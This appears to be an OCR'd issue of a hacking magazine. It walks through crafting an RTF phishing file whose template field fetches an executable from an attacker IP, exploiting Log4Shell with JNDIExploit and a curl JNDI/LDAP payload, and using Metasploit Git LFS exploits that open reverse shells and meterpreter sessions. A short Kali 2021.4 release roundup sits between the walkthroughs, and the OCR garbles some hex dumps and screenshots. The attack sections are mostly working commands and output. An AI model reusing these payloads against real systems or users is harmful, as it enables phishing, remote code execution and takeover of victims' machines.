	00000088 00000000 00000020 00000020 00000030 00000040 00000050 00000050 00000050 00000050 000000	7B 33 5C 6D 65 6D 65 2E 43 73 5C 68 6F 20 7D 70 69 2A 5C 63	5C 5C 66 61 74 61 <b>20</b> <b>33</b> <b>2E</b> 65 66 61 6E 54 3B 72 62 5C 66 68	72 61 6F 6E 30 6E <b>68</b> <b>65</b> 74 72 72 20 69 7D 71 65 66 35 61	74 64 6E 5C 20 3B 74 2E 78 30 6F 73 53 6D 7B 32 72 61 5C 72	66 65 74 66 54 7D 74 31 65 65 65 65 65 50 65 50 61 60 73	31 66 74 70 69 <b>78</b> <b>70</b> <b>37</b> <b>70</b> 41 61 74 72 73 66 66 74 74 65	5C 6C 62 72 6D 5C 3A 31 7B 72 6E 30 69 20 34 63 69 20 69 20 69 74	61 61 65 2A 2F 3A 5C 69 5C 20 66 4E 5C 68 6F 41 6C 30	6E 6E 7B 32 73 5C 2F 38 71 61 66 4C 7B 65 66 61 6E 72 5C 20	73 67 5C 20 74 31 30 32 6C 70 69 5C 77 73 72 20 69 66 4E	69 31 66 4E <b>65</b> <b>39</b> <b>30</b> 5C 3B 72 62 2A 20 77 73 53 61 70 6F	5C 30 30 63 65 6D 32 30 66 7D 71 65 5C 52 69 65 61 6C 72 74	64 32 5C 68 77 <b>70</b> <b>2E</b> <b>2F</b> 63 7B 32 72 66 77 6F 73 74 6E 7D 71 6F	65 35 60 61 20 6C 31 53 68 5C 5C 61 61 61 73 30 73 30 73 38 32 20	66 0A 72 72 52 61 36 4B 61 66 74 60 61 50 70 70 50 50 50	66 7B 6F 73 6F 74 38 4A 72 33 63 69 74 65 66 4C 5C 7B 66 61		<pre>{\rtf1\ansi\deff 3\adeflang1025.{ \fonttbl{\f0\fro man\fprq2\fchars et0 Times New Ro man;}{\*\templat e http://192.168 .36.171:8000/SKJ C.exe}{\q2\fchar set0 Arial;}{\f3 \froman\fprq2\fc harset0 Liberati on Serif{\*\falt Times New Roman };}{\f4\fswiss\f prq2\fcharset0 L iberation Sans{\ *\falt Arial};}{ \f5\fnil\fprq2\f charset0 Noto Sa</pre>

After making the changes, we save the file as hcool\_1.rtf.

-00000098																	^	
00000000	7B	5C	72	74	66	31	5C	61	бE	73	69	5C	64	65	66	66		{\rtf1\ansi\deff
00000010	33	5C	61	64	65	66	6C	61	6E	67	31	30	32	35	0A	7B		3\adeflang1025.{
00000020	5C	66	6F	6E	74	74	62	6C	7B	5C	66	30	5C	66	72	бF		\f0\fro
00000030	6D	61	бE	5C	66	70	72	71	32	5C	66	63	68	61	72	73		man\fprq2\fchars
00000040	65	74	30	20	54	69	6D	65	73	20	4E	65	77	20	52	6F		et0 Times New Ro
00000050	6D	61	бE	3B	7D	7B	5C	2A	5C	74	65	6D	70	6C	61	74		<pre>man;}{\*\templat</pre>
00000060	65	20	68	74	74	70	3A	2F	2F	31	39	32	2E	31	36	38		e http://192.168
00000070	2E	33	36	2E	31	37												.36.171:8000/SKJ
00000080	43	2E	65	78	65	7D												C.exe}{\f1\froma
00000090	6E	5C	66	70	72	71	1	The	fil	le I	nas	bee	en s	save	ed.			n\fprq2\al;}{\f3
000000A0	5C	66	72	бF	6D	61												\froman\fprq2\fc
000000B0	68	61	72	73	65	74												harset0 Liberati
000000C0	бF	бE	20	53	65	72	69	66	7B	5C	2A	5C	66	61	бC	74		on Serif{\*\falt
000000D0	20	54	69	6D	65	73	20	4E	65	77	20	52	6F	6D	61	бE		Times New Roman
000000E0	7D	3B	7D	7B	5C	66	34	5C	66	73	77	69	73	73	5C	66		<pre>};}{\f4\fswiss\f</pre>
000000F0	70	72	71	32	5C	66	63	68	61	72	73	65	74	30	20	4C		prq2\fcharset0 L
00000100	69	62	65	72	61	74	69	бF	6E	20	53	61	бE	73	7B	5C		iberation Sans{\
00000110	2A	5C	66	61	6C	74	20	41	72	69	61	6C	7D	3B	7D	7B		*\falt Arial};}{
00000120	5C	66	35	5C	66	бE	69	6C	5C	66	70	72	71	32	5C	66		\f5\fnil\fprq2\f
00000130	63	68	61	72	73	65	74	30	20	4E	6F	74	бF	20	53	61		charset0 Noto Sa
LEnter fi	le t	to s	save	e:	ncod	ol_1	1	tf									V	
Help	Sa	ave		Op	ben			(	Goto	)	F	ind	ł		He	ex A	dd	r Hex Edit Quit
user1@ubu	ntu	:~/	Des	kto	P/R	TF_	T_I	\$ ι	s									

hcool\_1.rtf hcool.rtf user1@ubuntu:~/Desktop/RTF\_T\_I\$

Now, this file is copied to the target (Windows 10). In Real World, this file is sent as an attach -ment of a mail to unsuspecting victims. Once the victim open this file with MS word, this is what he sees.

Cn	1 - 0 🔿	) =	Mic	crosoft Word	– Ø ×
	Home Insert	Page Layout References Mailings	Review View		۷
Past	Cut La Copy	$\begin{array}{ c c c c c } \hline & & & & & & & \\ \hline & & & & & & \\ \hline & & & &$		AA AA AA AAA AAAAAAAAAAAAAAAAAAAAAAAAA	
	Clipboard 6	Font	Paragraph	Styles 🕞 Editing	
		0	Microsoft Office Word Contacting the server for infor	mation.	



The lure is displayed but the payload is downloaded. In some cases, there maybe a file conversion warning as shown below.

👝 ) 🖬 🤊 - U 🛞 ) =	Microsoft Word	- 0	×
Home Insert Page Layout References Mailings	Review View		0
🖄 X Cut	AA AFind -		
La Copy			
Paste J Format Painter B J U abs X, X' Aa 207 A	E T T Change Styles * Q Select *		
Clipboard 5 Font 6	Paragraph 🕞 Styles 🕞 Editing		
Enter your search term			
	File Conversion - SKJC.exe ? ×		
	Select the encoding that makes your document readable.		
	Ext encoding:     Windows (Default) O MS-DOS O Other encoding: Wang Taiwan		
	Western European (DOS) Western European (TA5)		
	Western European (ISO) Western European (Mac)		
	Preview: MZ E E 99 B E		
	Coumn Break		
	Column Break		
	ç PE dt *4Éa 8 /		
	D C C C ° EL AW (		
<b>ि विश्व क्र</b> ो र	Microsoft Word	- 0	
Home Insert Page Layout References Mailings	Microsoft Word	- 0	×
Home Insert Page Layout References Mailings	Microsoft Word Review View	- 0	×
Home Insert Page Layout References Mailings	Microsoft Word       Review     View       田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田田	- 0	×
Home Insert Page Layout References Mailings A Cut Paste J Format Painter B I U whe X, X' Aa	Microsoft Word Review View 正一日「空」字 詳例手作 東 憲 副 復日」〇一日一	- 5	×
Home Insert Page Layout References Mailings A Cut Cut Copy Paste J Format Painter Clipboard 5 Fort 5	Microsoft Word  Review View  Emission Change Explore Explore Styles  Styles  Change Editing	- 0	×
Home Insert Page Layout References Mailings A Cut A Cut Clipboard 5 Enter your search term	Microsoft Word         Review       View         Image:	- 0	×
Home Insert Page Layout References Mailings A Cut A Cut Clipboard Enter your search term	Microsoft Word         Review       View         IIII - IIII - IIII - IIII - IIIIIIIIII	- 0	×
Home Insert Page Layout References Mailings A Cut Cut Cut Format Painter Clipboard Enter your search term	Microsoft Word         Review       View         Image:	- 0	×
Home Insert Page Layout References Mailings A Cut A Cut Clipboard Enter your search term	Microsoft Word         Review       View         Image:	- 0	×
Home Insert Page Layout References Mailings A Cut Cut Format Painter Clipboard Enter your search term	Microsoft Word         Review       View         Image: Styles       Image: Styles         Paragraph       Styles	- 0	×
Home Insert Page Layout References Mailings A Cut Copy Paste Format Painter Clipboard 5 Enter your search term	Microsoft Word         Review       View         IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	- 0	×
Home Insert Page Layout References Mailings A Cut A Cut Clipboard Enter your search term A Cut Format Painter Clipboard Enter your search term	Microsoft Word	- 0	×
Home Insert Page Layout References Mailings A Cut Copy Paste Format Painter Clipboard C Enter your search term	Microsoft Word		×
Home Insert Page Layout References Mailings A Cut A Cut Clipboard Enter your search term A Cut Format Painter Clipboard Clip	Microsoft Word  Review View  Paragraph  Microsoft Office Word  Microsoft Office Word  Microsoft Office Word	- 0	×
Home Insert Page Layout References Mailings A Cut Copy Paste Format Painter Clipboard 5 Fort 5 Enter your search term	Microsoft Word Review View Paragraph Microsoft Office Word Microsoft Office Word The document template is not valid.	- 0	×
Home Insert Page Layout References Mailings A Cut Cut Cut Format Painter Clipboard Enter your search term	Microsoft Word Review View Paragraph Microsoft Office Word Microsoft Microsoft Microsof		×
Home Insert Page Layout References Mailings A Cut Copy Paste Format Painter Clipboard Enter your search term	Microsoft Word Review View Paragraph  Styles Styles Microsoft Office Word Microsoft Of	- 0	×
Home Insert Page Layout References Mailings A Cut Copy Paste Format Painter Clipboard 5 Pont 5 Enter your search term	Microsoft Word Review View Paragraph Styles Styles Microsoft Office Word Kicrosoft W	- 0	×
Home Insert Page Layout References Mailings A Cut Copy Paste Copy Format Painter Clipboard To Font To Enter your search term	Microsoft Word Review View The arggraph Styles Styles Editing Microsoft Office Word The document template is not valid. The document template is not valid. The document template is not valid.		×



If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10. According to Wiz and EY, this vulnerability affects over 93% of the total

enterprise cloud environments. But what is this Log4j vulnerability and where exactly does it occur.

Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.

There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.

Enough theory. Let's see it practically. For this first we need a target. We have setup a vulnerable Docker container. The download information of this Docker container is given in our Downloads section.

(kali@ kali) - [~]
\$ docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophe
td/log4shell-vulnerable-app



2022-01-10 05:09:14.172 INFO 1 --- [ main] f.c.l.v.VulnerableA ppApplication : Starting VulnerableAppApplication using Java 1.8. 0 181 on 60a954590692 with PID 1 (/app/spring-boot-application.jar starte d by root in /) 2022-01-10 05:09:14.286 INFO 1 --- [ main] f.c.l.v.VulnerableA ppApplication : No active profile set, falling back to default pr
ofiles: default ine : Starting Servlet engine: [Apache Tomcat/9.0.55] 2022-01-10 05:09:16.852 INFO 1 --- [ main] o.a.c.c.C.[.[.[/] : Initializing Spring embedded WebApplicationContex t 2022-01-10 05:09:16.852 INFO 1 --- [ main] w.s.c.ServletWebSer verApplicationContext : Root WebApplicationContext: initialization comple ted in 2443 ms 2022-01-10 05:09:18.258 INFO 1 --- [ main] o.s.b.w.e.t.TomcatW : Tomcat started on port(s): 8080 (http) with conte ebServer xt path '' 2022-01-10 05:09:18.292 INFO 1 --- [ main] f.c.l.v.VulnerableA ppApplication : Started VulnerableAppApplication in 5.25 seconds (JVM running for 7.034)

Once the containe	er is up and running, cheo	ck its IP address as shown	below.	
<pre>(kali@kal: \$ docker ps CONTAINER ID NAMES 60a954590692 /app/spri" p vulnerable</pre>	<pre>i)-[~] IMAGE CREATED ghcr.io/christophe About an hour ago e-app</pre>	STATUS etd/log4shell-vulner Up About an hour	PORTS able-app 0.0.0.0:80	COMMAND "java -jar 980->8080/tc
8a25e773eaa0e9 d4cb4b0eb96dc9 } } } ] (kali@kali	<pre>"Aliases": nu "NetworkID": 96d3ffc6cda", "EndpointID" 5c49a7e6ad6a", "Gateway": "? "IPAddress": "IPPrefixLen" "IPv6Gateway" "GlobalIPv6Ad "GlobalIPv6Ad "GlobalIPv6P" "MacAddress" "DriverOpts" }</pre>	ull, "b0375dadf01b20df10 : "0035c5ea1d534a36k 172.17.0.1", "172.17.0.2", ": 16, ": "", ddress": "", refixLen": 0, : "02:42:ac:11:00:02 : null	08d05595306	9979eb8961b5 59750bd57354
The target IP add directory named l	ress is 172.17.0.2. Now let og4shell to store all files k	t's set up the attacker syste belonging to log4shell.	em. We have s	setup a new
<pre>(kali@kali \$ pwd /home/kali (kali@kali \$ mkdir log</pre>	i)-[~] i)-[~] 4shell			

(kali@kali)-[~]
 cd log4shell

We have downloaded a Java exploit to hack log4j. The download information of this exploit is also given in our Downloads section.



After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.

```
—(kali@kali)-[~/log4shell]
└_$ ls
JNDIExploit.v1.2 JNDIExploit.v1.2.zip
  -(kali⊛kali)-[~/log4shell]
 —$ cd JNDIExploit.v1.2
   -(kali@kali)-[~/log4shell/JNDIExploit.v1.2]
L_$ ls
JNDIExploit-1.2-SNAPSHOT.jar lib
   -(kali@kali)-[~/log4shell/JNDIExploit.v1.2]
____$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue
In the place of "your-private-ip", we need to enter the attacker IP address (172.17.0.1). Now, what
does this exploit do? It starts a fake LDAP server and HTTP server as shown below.
  —(kali@kali)-[~/log4shell/JNDIExploit.v1.2]
__$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
                                                                         130 ×
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
   The fake LDAP server is the third party server we need. Next, we need to trigger the exploit.
Open a new terminal and run the command as shown below.
  -(kali@kali)-[~]
__$ curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/
Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
Hello, world!
```

In the above command we are starting with curl, you can see "\$(jndi)". JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.

One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Javaspecific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.

By specifying \${jndi:ldap://172.17.0.1:....Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.

"Exploitation attempts and testing have remained high during the last weeks of December" - Microsoft on Apache Log4shell.

```
-(kali@kali)-[~/log4shell/JNDIExploit.v1.2]
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 130 ×
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=t
rue
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3Rtc
C9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd2
5lZAo= redirecting to http://172.17.0.1:8888/Exploitgb50rPt5lK.class
[+] New HTTP Request From /172.17.0.2:58782 /Exploitgb50rPt5lK.class
[+] Receive ClassRequest: Exploitgb50rPt5lK.class
[+] Response Code: 200
It received a LDAP query and executed a command. It created a new file named "pwned" in the
/tmp directory of the target (since that is what the exploit is programmed to do). Let's check if the
new file is created or not. This can be done as shown below.
  -(kali@kali)-[~]
```

\$ docker exec vulnerable-app ls /tmp
hsperfdata\_root
pwned
tomcat-docbase.8080.355784220610138602

tomcat.8080.6151084250227950632

All good, but what is "X-Api-version" we used while triggering the exploit? That's a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code. (In this case, creating a new file on target). That's how Log4jshell exploit works.

#### <u>Kali Linux 2021.4</u>

### WHAT'S NEW

The final release of Kali Linux for year 2021 has been released by their makers. In What's New of this month's Issue, readers will see the updates added in the release. So let's go right away.

#### **<u>1. Updates to Desktop</u>**

With this release the makers of Kali Linux updated all the three desktop environments : Gnome, KDE and Xfce. The GNOME Desktop has been updated to the latest release of Gnome, the Gnome 41. Even the KDE desktop has been updated to the latest release KDE 5.23. The changes it brings is a new design for the Breeze theme to improve the look with glossiness and style.















#### 2. Kaboxer Theme Support

The latest update of Kaboxer tools bring support for window themes and icon themes. What this does is that it allows the Kaboxer programs to integrate with the rest of the desktop properly as shown below.

#### **<u>3. Choose Your Own Mirror</u>**

With this release, now you can configure from where the package manager can download its updates. You can either choose a nearest community server or a Content Delivery Network (CDN). This can be done using kali-tweaks as shown below.

	Main Menu	
lardening Metapackages	Configure the system for extra security Install specific subsets of tools for particular needs	
Shell & Prompt /irtualization	Configure the shell and command prompt Additional configurations for Virtual Machines	
	<select></select>	<quit></quit>

- 1		Copyright (c) Nicrosoft Corneration.	
	Network Repository		
	Additional Kali repositories: [] bleeding-edge Automatically packaged and potentially unstable [] experimental Staging area for work-in-progress packages		
	() Cloudflare Download packages from the Cloudflare CDN (*) Community Download packages from a community mirror		
	(*) HTTP Use the HTTP protocol () HTTPS Use the HTTPS protocol		
	<apply></apply>	<back></back>	
<tab>/</tab>	<alt-tab> between elements   <space> selects   <f12> next screen</f12></space></alt-tab>		
	4. Extended compatibility	<u>y For Samba</u>	
w	7. With this update, it becomes more easier for Kali to d	liscover vulnerable Samba servers as th	le
Samb: server	a client is now configured for wide compatibility to a rirrespective of the version of Samba protocol being	connect to pretty much every Samba used. If you don't like this, it can be	
chang	ed using the same kali-tweaks as shown below by ch	noosing "Default".	_
- 0			
	Hardening Configure the system for extra security		
	Mature ing         Configure the system for extra security           Metapackages         Install specific subsets of tools for particul           Network Repositories         Configure network repositories for APT sources           Shell & Prompt         Configure the shell and command prompt	ar needs	
	Virtualization Additional configurations for Virtual Machines		
	<select></select>	<quit></quit>	

Hardening Settings	
OpenSSL Configuration:	
() Wide Compatibility Enable insecure protocols and ciphers, allowin	ng access to legacy services
Samba Client Configuration:	to logoev convices
() Default Use Samba's default, which only allows modern	protocols
<apply></apply>	<back></back>
<tab>/<alt-tab> between elements   <space> selects   <f12> next screen</f12></space></alt-tab></tab>	
5. New Tools	
Just like every new release, new tools have been added to	this release too. The new tools added
to the network repository are	
1. Dufflebag - Search exposed EBS volumes for secrets	1
2. Maryam - Open-source Intelligence (OSIN I) Framewo	
3. Name-That-Hash - Do not know what type of hash it is?	Name That Hash will name that hash
type!	•
4. Proximarko - II you are into Proximarko and KFID nacki	
5. Reverse Proxy Grapher - graphviz graph indstraung you	ir reverse proxy now
7 Spreadouting Credentials with aring to al automating remot	to proodump and parts of loose process
7. Spraykaiz - Credentials gathering tool automating remot	te proclump and parse of isass process.
o. trumeriog - Searches unough git repositories for high en	huopy strings and secrets, digging deep
Web of trust grapher (wetmate) reimplement the defut	net PCP nothfinder without needing
9. Web of trust grapher (wounde) - reinipiement the defut	our own keyring
	Jui Own Reyring
6 Apple M1 Supr	oort
With this release. Kali can also be installed on VMware	Fusion Public Tech Preview thanks to
the 5.14 kernel having the modules needed for the virtual (	GPU used. Readers might remember th
-at with the release of Kali 2021 1, the makers supported in	stalling Kali Linux on Parallels on
Apple Silicon Macs.	
From this release on, makers have also updated the oper	n-vm-tools package. If you are installing

Kali in Vmware, the installer will automatically detect it and install the open-vm-tools-desktop

package and that will allow you to change the resolution out of the box.

#### 7. Kali NetHunter

A new tool has been added to the Kali NetHunter, the Social Engineering Toolkit. This tool features only the first module from SET: the Spear Phishing Email Attack. Other features will be added soon.

#### 8. Kali ARM Updates

With this release, all ARM images of Kali now use ext4 for their root file system and will resize the root file system on first boot. This results in increased speed in this release. Previous releases were using ext3.

Support has been added for Raspberry Pi Zero 2 W but there is still no Nexmon support. Also Raspberry Pi images now support USB booting out of the box.

As a final note, with this release, there will be no python command. There will only be python3. If you still need python, you will have to install python-is-python3 to restore python command as an alias for python3. The download information for the latest release of Kali is given in

Now you can read Hackercool Magazine on Magzter and Zinio. Linux CVE-2021-22555, CVE-2021-3490, Windows Evasion & Git Modules

### METASPLOIT THIS MONTH

Welcome to Metasploit This Month. Let us learn about the latest exploit modules of Metasploit and how they fare in our tests.

#### Git LFS CVE-2021-21300 RCE Module

TARGET: Git <v2.17.6, <v2.18.5, <v2.19.6, <v2.20.5, <v2.21.4, <v2.22.5, <v2.23.4</th><v2.24.4, <v2.25.5, <v2.26.3, <v2.27.1, <v2.28.1, <v2.29.3, <v2.30.2</td>TYPE: LocalMODULE : ExploitANTI-MALWARE : NA

This module exploits CVE-2021-21300 vulnerability. This vulnerability is present in the above mentioned versions of Git clients. Note that the above mentioned versions should support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems for this exploit to work.

When Git LFS uses clean / smudge filters it changes the checkout orderof repository files which in turn enables a Git hook to be placed in the `.git/hooks` directory. By default, the payload created by this module is automatically executed on the target system. We have tested this on Git 2.30.1 version running on Windows. Let's set the target first.

Download Git 2.30.1 on Windows 10. The download information is given in the Downloads section of this Issue. While installing Git, make sure Large File Support (LFS) is enabled and symbolic links are enabled as shown below.



Configuring extra optio	ons
Which features would y	vou like to enable?
Fnable file system	m caching
Eile sustem data u	will be read in bulk and cached in memory for cortain
operations ("core. performance boos	.fscache" is set to "true"). This provides a significant st.
Enable symbolic	links
Enable <u>symbolic lin</u>	nks (requires the SeCreateSymbolicLink permission).
Flease flote that e	existing repositories are unarrected by uns setting.
https://aitfaussie.desse.eva/	
nceps://gicrorwindows.org/ —	
	< <u>B</u> ack <u>N</u> ext > Cancel
🥎 Git 2.30.1 Setup	- 🗆 🗙
🚸 Git 2.30.1 Setup	– 🗆 X
🥎 Git 2.30.1 Setup	Completing the Git Setup Wizard
🧆 Git 2.30.1 Setup	- D × Completing the Git Setup Wizard Setup has finished installing Git on your computer. The
oit 2.30.1 Setup	Completing the Git Setup Wizard Setup has finished installing Git on your computer. The application may be launched by selecting the installed
oit 2.30.1 Setup	- D × <b>Completing the Git Setup Wizard</b> Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.
oit 2.30.1 Setup	Completing the Git Setup Wizard Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts. Click Finish to exit Setup.
Sit 2.30.1 Setup	─ □ × Completing the Git Setup Wizard Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts. Click Finish to exit Setup. ✓ Launch Git Bash
Sit 2.30.1 Setup	<ul> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>Launch Git Bash</li> <li>View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>Launch Git Bash</li> <li>View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>Launch Git Bash</li> <li>View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>□ ×</li> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>☑ Launch Git Bash</li> <li>☑ View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>□ □ ×</li> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>□ Launch Git Bash</li> <li>□ View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>□ □ ×</li> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>□ Launch Git Bash</li> <li>□ View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>Completing the Git Setup Wizard</li> <li>Setup has finished installing Git on your computer. The application may be launched by selecting the installed shortcuts.</li> <li>Click Finish to exit Setup.</li> <li>Launch Git Bash</li> <li>View Release Notes</li> </ul>
Sit 2.30.1 Setup	<ul> <li>□ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○ ○</li></ul>



- Proofpoint Researchers

<pre>msf6 &gt; search git_lfs</pre>						
Matching Modules						
# Name k Che	ck Description			Disclosure Date	Ran	
0 explo	it/multi/http/git		_command_exec	2021-04-26	exc	
1 explo ellent No	it/windows/http/g Git Remote Co	it_lfs_rce de Executi	on via git-lfs	2020-11-04 (CVE-2020-27955)	exc	
Interact wi	th a module by na	me or inde	x. For example	info 1, use 1 or	use	
<u>msf6</u> > use ( [*] Using co <u>msf6</u> exploit	<pre>msf6 &gt; use 0 [*] Using configured payload cmd/unix/reverse_bash msf6 exploit(multi/http/git_lfs_clone_command_exec) &gt; show options</pre>					
Module optic	ons (exploit/mult	i/http/git	_lfs_clone_com	mand_exec):		
Name	Current Setting	Required	Description			
GIT_URI		no	The URI to use	e as the malicious (empty for random)	5	
Proxies		no	A proxy chain	of format type:h	os	
SRVH0ST	0.0.0.0	yes	The local hos ace to listen n address on r 0.0.0.0 to	t or network inter on. This must be the local machine listen on all add	rf a o re	
SRVPORT	8080	ves	sses. The local port	t to listen on.		
SSL	false	no	Negotiate SSL, onnections	/TLS for outgoing	С	
SSLCert		no	Path to a cust (default is	tom SSL certificat	te d)	
URIPATH		no	The URI to use (default is ra	e for this exploit		
VHOST		no	HTTP server v	irtual host		

"We need to do whatever we can to defend ourselves against hacking.' -Soren Skou



```
msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Started reverse
 TCP handler on 192.168.36.171:4466
[*] Using URL: http://192.168.36.171:8080/xpo6dW
[*] Server started.
[*] Git repository to clone: http://192.168.36.171:8080/domainer.git
[*] Sending payload data...
[*] Sending LFS object...
[+] Deleted .gitattributes
[+] Deleted ccdgncclmsau
[+] Deleted .git
[*] Command shell session 1 opened (192.168.36.171:4466 -> 192.168.36.209
:49680) at 2021-12-26 07:07:07 -0500
msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions
Active sessions
 Id Name Type Information Connection
  1 shell cmd/unix
                                        192.168.36.171:4466 -> 192.168
                                        .36.209:49680 (192.168.36.209)
msf6 exploit(multi/http/git lfs clone command exec) > sessions -i 1
[*] Starting interaction with 1...
whoami
RECEPTION+adm1n
sysinfo
sh: line 26: sysinfo: command not found
pwd
/c/Users/adm1n/domainer
uname -a
MINGW64 NT-10.0-17763 Reception 3.1.7-340.x86 64 2020-10-23 13:08 UTC x86
64 Msys
As readers can see, a new session opened.
                 Git LFS CVE-2020-27955 RCE Module
```

TARGET: Git <= v2.29.2 MODULE : Exploit

ANTI-MALWARE : OFF

**TYPE: Local** 

In Git versions mentioned above, there is a version of git-lfs extension that allows remote attackers to execute malicious code on the victim's Windows system when he clones a particular git repository. This particular git repository is planted with a backdoor which may be an executable file named as any other executable extension available on the target Windows system. When this repository is cloned, the malicious git binary will get executed automatically instead of the original git binary located in a trusted path of Windows.

We have tested this on Git 2.28.0 version running on Windows 10. Let's set the target first. Download Git 2.28.0 on Windows 10. The download information is given in the Downloads secti -on of this Issue. While installing Git, make sure Large File Support (LFS) is enabled.

Select Components				
Which components should be installed?				
Select the components you want to install; clear install. Click Next when you are ready to continu	the compon ue.	ents you do n	ot want t	0
Additional icons				^
On the Desktop				
Windows Explorer integration				
Git Bash Here				
Git LFS (Large File Support)	la fault taut a	diter		
Associate .git configuration files with the d	erault text e	altor		
Associate .sit files to be full with basin				
				~
Current selection requires at least 269, 5 MB of r	disk snace			
can che sciedon regaines de lease 20575 his or e	alan apace.			
streau ( aither uiedeure era)				

Then finish the installation normally. The target is set. On the attacker system load the git\_lfs\_rce module as shown below.

<pre>msf6 &gt; search git_lfs</pre>		
Matching Modules		
# Name	Disclosure Date	Rank
<pre>0 exploit/multi/http/git_lfs_clone_command_exec</pre>	2021-04-26	exce
1 exploit/windows/http/git_lfs_rce	2020-11-04	exce
CLEAR NO GIT REMOTE COde Execution via git-LTS	(CVE-2020-2/955)	
<pre>Interact with a module by name or index. For example exploit/windows/http/git_lfs_rce</pre>	info 1, use 1 or	use
msf6 >		

## msf6 > use 1 [\*] Using configured payload windows/x64/meterpreter/reverse\_tcp msf6 exploit(windows/http/git\_lfs\_rce) > show options

Module options (exploit/windows/http/git\_lfs\_rce):

Name	Current Setting	Required	Description
GIT_URI		no	The URI to use as the malicious G it instance (empty for random)
Proxies		no	A proxy chain of format type:host :port[,type:host:port][]
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interfa ce to listen on. This must be an address on the local machine or 0 .0.0.0 to listen on all addresses
SRVPORT SSL	8080 false	yes no	The local port to listen on. Negotiate SSL/TLS for outgoing co nnections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (
VHOST		no	HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', se h. thread. process. none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Set all the required options as shown below and execute the exploit.

```
msf6 exploit(windows/http/git_lfs_rce) > set lhost 192.168.36.171
lhost => 192.168.36.171
msf6 exploit(windows/http/git_lfs_rce) >
```



<pre>msf6 exploit(win [*] Starting int</pre>	<pre>dows/http/git_lfs_rce) &gt; sessions -i eraction with 1</pre>
<u>meterpreter</u> > ge Server username:	tuid RECEPTION\user1
<pre>meterpreter &gt; sy</pre>	sinfo
Computer	: RECEPTION
0S	: Windows 10 (10.0 Build 17763).
Architecture	: x64
System Language	: en US
Domain	: SMALLBUSINESS
Logged On Users	: 6
Meterpreter	: x64/windows
<pre>meterpreter &gt;</pre>	

